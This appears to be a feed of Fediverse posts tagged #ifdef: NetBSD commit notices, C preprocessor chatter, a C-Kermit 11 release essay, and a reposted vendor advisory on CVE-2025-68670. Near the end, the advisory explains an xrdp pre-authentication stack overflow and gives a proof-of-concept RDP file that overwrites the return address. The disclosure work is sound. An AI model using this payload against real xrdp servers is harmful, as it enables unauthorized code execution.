#ifdef — Public Fediverse posts

lib/libutil: stat_flags.c

riastradh: string_to_flags(3): Put `snap' under #ifdef SF_SNAPSHOT.

http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libutil/stat_flags.c.diff?r1=1.4&r2=1.5

Hilfe, meine Codebasis hat ein
#ifdef BORLAND

@strule depende de muita coisa.

se os checks são em compile time, como usando #ifdef et al em C, não vai mudar nada além de o código compilar mais rápido.

se os checks são em runtime, tem várias opções. se o compilador consegue detectar que uma parte do código nunca vai ser chamada, ele vai remover.

ainda assim, mesmo que o compilador não remova o código, CPUs modernas tem branch prediction e provavelmente vão ignorar o código irrelevante.

também depende da arquitetura do código…

mas, se vc tem certeza que seu código não precisa ser portátil, vc não perde nada removendo a parte inútil. mais ainda, já mata tudo na fonte e não depende da sua infra pra otimizar pra vc.

TL;DR: depende…

@root
1. system.h:
#ifdef MSDOS
#include "allegsys.h"
#else
#include "raysys.h"
#endif

2. fun

3. it'll survive longer if it can run in an emulator

4. i have no idea what that would entail

sys/arch/sparc/sparc: openfirm.c

jdc: Only call delay() with #ifdef _KERNEL, because it's not available to
standalone tools like sparc bootjs.net .

http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/arch/sparc/sparc/openfirm.c.diff?r1=1.25&r2=1.26

Celebrating 45 Years of Kermit with the First New C-Kermit Release in 15 Years (and working with a decades-old C codebase)

1981 was a different time for computing. It was expensive (both hardware and software), and it was far from a given that machines from one vendor would be able to talk to those from another. In fact, Columbia University had just such a problem, so in 1981, Frank da Cruz and Bill Catchings designed a serial protocol they called Kermit. Because of the many quirks of the DEC-20 and IBM mainframes, the Kermit protocol was highly adaptable from the start: able to handle systems that had trouble processing more than 96 bytes of data at once, able to transfer 8-bit files over 7-bit links, able to translate between character sets (ASCII and EBCDIC then; now also various Unicodes), and of course, handling of error-prone serial links.

Kermit spread rapidly; by 1982, Kermit had been ported to MS-DOS and Unix. Eventually, C-Kermit (an implementation of Kermit in C) became the flagship Kermit. It gained TCP support, an interactive CLI, a powerful scripting language (with features from the shell, Lisp, and expect), and optimizations for today’s high-speed links, such as jumbo packets, sliding windows, and streaming modes. Along the way, Kermit flew on the International Space Station, ran data collection from sensors during hurricanes, and many other uses including postal systems, Boeing 787 manufacturing, and more.

Today, I use it as a powerful ssh wrapper (letting me easily transfer files through multiple nested ssh, sudo, su, etc. commands), a BBS client, to exchange data with me HP 48GX calculator, and so on. It’s also used today to transmit firmware updates to embedded devices. And, of course, anyone that works with vintage systems is likely to use Kermit at some point.

It wouldn’t be until the late 1990s that the TCP/IP stack was finally adopted by most OS vendors, establishing something of a common basis for communication. Of course, we assume this today. Though transferring large files between OSs (say, Linux, Windows, MacOS, Android, iPad, etc.) is still a challenge, even though they all speak TCP/IP! I find that the easiest way to get large files from two computers is to spin up Kermit (see ckwin for a Windows fork of C-Kermit) and just set up a TCP connection over the LAN. In fact, I added a new show interfaces command in C-Kermit 11, making it easy to see your system’s local IPs.

For most of its history, Columbia’s Kermit project was self-funded. Columbia charged for commercial use, which limited its inclusion in Linux distributions. In 2011, 30 years after its founding, Columbia canceled the Kermit Project and released C-Kermit as Open Source under a BSD license. Frank da Cruz, who had still been working with the Kermit project all those years, volunteered to continue maintaining Kermit outside Columbia, and continued development with alpha and beta releases through his retirement from the project in 2025.

I dive into this C codebase

As Debian maintainer of Kermit, I noticed some areas where it wasn’t matching modern expectations. One area was, not surprising for a project of its age, security. Another area was that its character set or line-ending conversions are usually not desired now; we are used to byte-identical binary transfers, and the defaults caused confusion and even some rare instances of data corruption. So I started making a few patches last year.

I’ve worked with old C codebases before, such as Varnish. I’ve generally hated it. You usually find a mix of bad and terrible practices, unclear memory management, and so forth.

But I’ve been living in the C-Kermit codebase for a few months now, and I enjoy it. Yes, this thing is still designed to build on VMS, OS/2, and with compilers that haven’t heard of ANSI — and those that require modern practices. (That em-dash was mine; I knew how to use them before LLMs existed and I’m not going to stop just because LLMs have copied people like me! No AI was used for this post.)

The there is an elegance in all of that. As I worked, I fixed a bunch more potential security issues, both with memory safety and with protecting against a malicious remote in roughly the same manner that some patches to scp did a few years back. I added IPv6 support, of course conditionally compiled because some systems C-Kermit builds on have never heard of IPv6 and never will. (And, of course, with fallback algorithms at runtime for systems that have IPv6 support but not IPv6 connectivity.)

I added unit tests and Python-based end-to-end tests, running nearly 2000 test cases in total. Along the way, I found and fixed a number of bugs going back decades. I learned about FIONREAD being broken on macOS, about NetBSD’s bugs in the pty driver, and fixed bugs in the Kermit protocol implementation itself. I added compatibility tests with the gkermit and ekermit (embedded) implementations, as well as the last full release, C-Kermit 9.0.302 from 2011 (which was difficult to get compiled on a modern system).

There is an extensive changelog describing all the improvements in C-Kermit 11.

C-Kermit development had never really used a VCS at any point, though Kermit veteran Jeffrey Altman imported historical releases into a Git repo, along with some patches that hadn’t made it into a release (which I also pulled in.) There was a lot of disabled code behind #ifdef COMMENT, along with commentary describing why it was no longer used. With Git, we would now generally just remove the old code and explain why in a commit message. I went through and did so with a lot of it, meaning that, at last check, C-Kermit actually has fewer lines of code now than it used to.

Towards a new release

It became apparent pretty quickly that I was making more changes than would make sense as a Debian patch series. Not only that, but they would be more widely applicable to more than just Debian and Ubuntu users. As Linux and BSD distributions were running everything from the last non-beta release (2011’s 9.0.302) to the last beta release (about 1.5 years ago), depending on their different policies about running betas, even sharing patches in a useful fashion was going to be quite difficult.

So, I spun up a project at Open Kermit to coordinate future development in the open and keep Kermit going.

With modern CI, I run that test suite on Linux (x86_64 and arm64), macOS, FreeBSD, NetBSD, and OpenBSD. It builds binary releases on all those platforms, plus a statically-linked Linux binary built with musl libc.

You can download the latest C-Kermit release, and of course contribute to C-Kermit and its website.

Dedication

Frank da Cruz was directly involved with Kermit for 44 years. I’m not aware of any other Open Source project founder being involved for so long. Richard Stallman started working on GNU Emacs in 1984, 3 years after Frank started working on Kermit, but Richard hasn’t been in that role since around 2008.

Accordingly, C-Kermit 11 bears this dedication:

I dedicate this release of C-Kermit to Frank da Cruz.

Frank was directly involved with Kermit for 44 years, from its initial design in 1981 all the way through 2025. He maintained Kermit as an Open Source project after Columbia University ended its sponsorship. I know of no other Open Source project where the founder remains so personally involved for so long.

When Kermit was begun, transfers between different hardware and operating systems were difficult or impossible. Frank helped build a bridge. Kermit glued systems together, from the International Space Station to pocket calculators, and set a new standard for interoperability. It continues to do so.

Kermit is still one of the quietly-working pillars of computing today, enabling everything from firmware upgrades to radios. And, yes, it still reliably transfers files over serial lines.

As we start to spend a lot of time in the Kermit codebase, we do so standing on the shoulders of a giant. Thanks, Frank, for your decades of work on Kermit.

John Goerzen, July 2026

Ah yeah! :)

thats the cool part, like

myheader.h:

    inline func() { ... }

then you can use it in multiple files no problem, no need for an #ifdef IMPLEMENTATION thing either!

xsrc/external/mit/xf86-video-nv/dist/src: g80_driver.c

martin: Move a break into #ifdef HAVE_XAA_H where the switch() it is meant
to break has been moved into in the previous change.

http://cvsweb.netbsd.org/bsdweb.cgi/xsrc/external/mit/xf86-video-nv/dist/src/g80_driver.c.diff?r1=1.7&r2=1.8

xsrc/external/mit/font-util/dist: bdftruncate.c ucs2any.c

mrg: add missing #ifdef HAVE_CONFIG_H's.

http://cvsweb.netbsd.org/bsdweb.cgi/xsrc/external/mit/font-util/dist/bdftruncate.c.diff?r1=1.1.1.4&r2=1.2
http://cvsweb.netbsd.org/bsdweb.cgi/xsrc/external/mit/font-util/dist/ucs2any.c.diff?r1=1.1.1.8&r2=1.2

@mcc I often use the C preprocessor for doing this. just because rust doesn't have a #ifdef DEBUG doesn't mean you can't run the C preprocessor. I actually used this to write rust code without the useless syntax bloat, and had C preprocessor insert in the useless bloat (I'm 100% sure it's because I don't understand rust, but the utility of preprocessor remains)

usr.sbin/sysinst: menus.mi

martin: #ifdef remove_menu_options() like all it's callers to avoid stupid
compiler warnings.

http://cvsweb.netbsd.org/bsdweb.cgi/src/usr.sbin/sysinst/menus.mi.diff?r1=1.32&r2=1.33

@alwayscurious @ireneista Yes, the patches are one per file, and there are plenty that are small, but:

grep #ifdef * | wc -l
      20

sys/uvm/pmap: pmap_tlb.c

skrll: Remove another #ifdef DIAGNOSTIC / #endif

http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/uvm/pmap/pmap_tlb.c.diff?r1=1.68&r2=1.69

sys/uvm/pmap: pmap_tlb.c

skrll: Remove some #ifdef DIAGNOSTIC / #endif by using __diagused, etc

http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/uvm/pmap/pmap_tlb.c.diff?r1=1.67&r2=1.68

@mirabilos @whitequark I have not seen a single "immense hack so that othes libcs work as expected" that someone "had to do".

Generally, the code they already had was using blatent glibcisms and was missing #ifdef __GLIBC__ around it.

@regehr Leave things implementation-defined. Let the x86s have their segmented memory models. Let the source code be machine and implementation specific. So what? We already know how to #ifdef for porting between different OSs and platforms, and the need for adaptation to different platforms will never go away. So wishing for perfect source portability on an ideal abstract machine is futile anyway. It's an invalid justification for these definedness rules.

from my link log —

Yak shaving #ifdef-style conditional compilation in Rust.

https://bitshifter.github.io/2020/05/07/conditional-compilation-in-rust/

saved 2020-05-15 https://dotat.at/:/Y7K6Z.html

CVE-2025-68670: discovering an RCE vulnerability in xrdp

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;

// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}

while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}

v n -= u8len;
v += u8len;
}

else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}

r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];

/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

• 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
• 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
• 12/15/2025: investigation and prioritization of the vulnerability began.
• 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
• 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
• 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

securelist.com/cve-2025-68670/…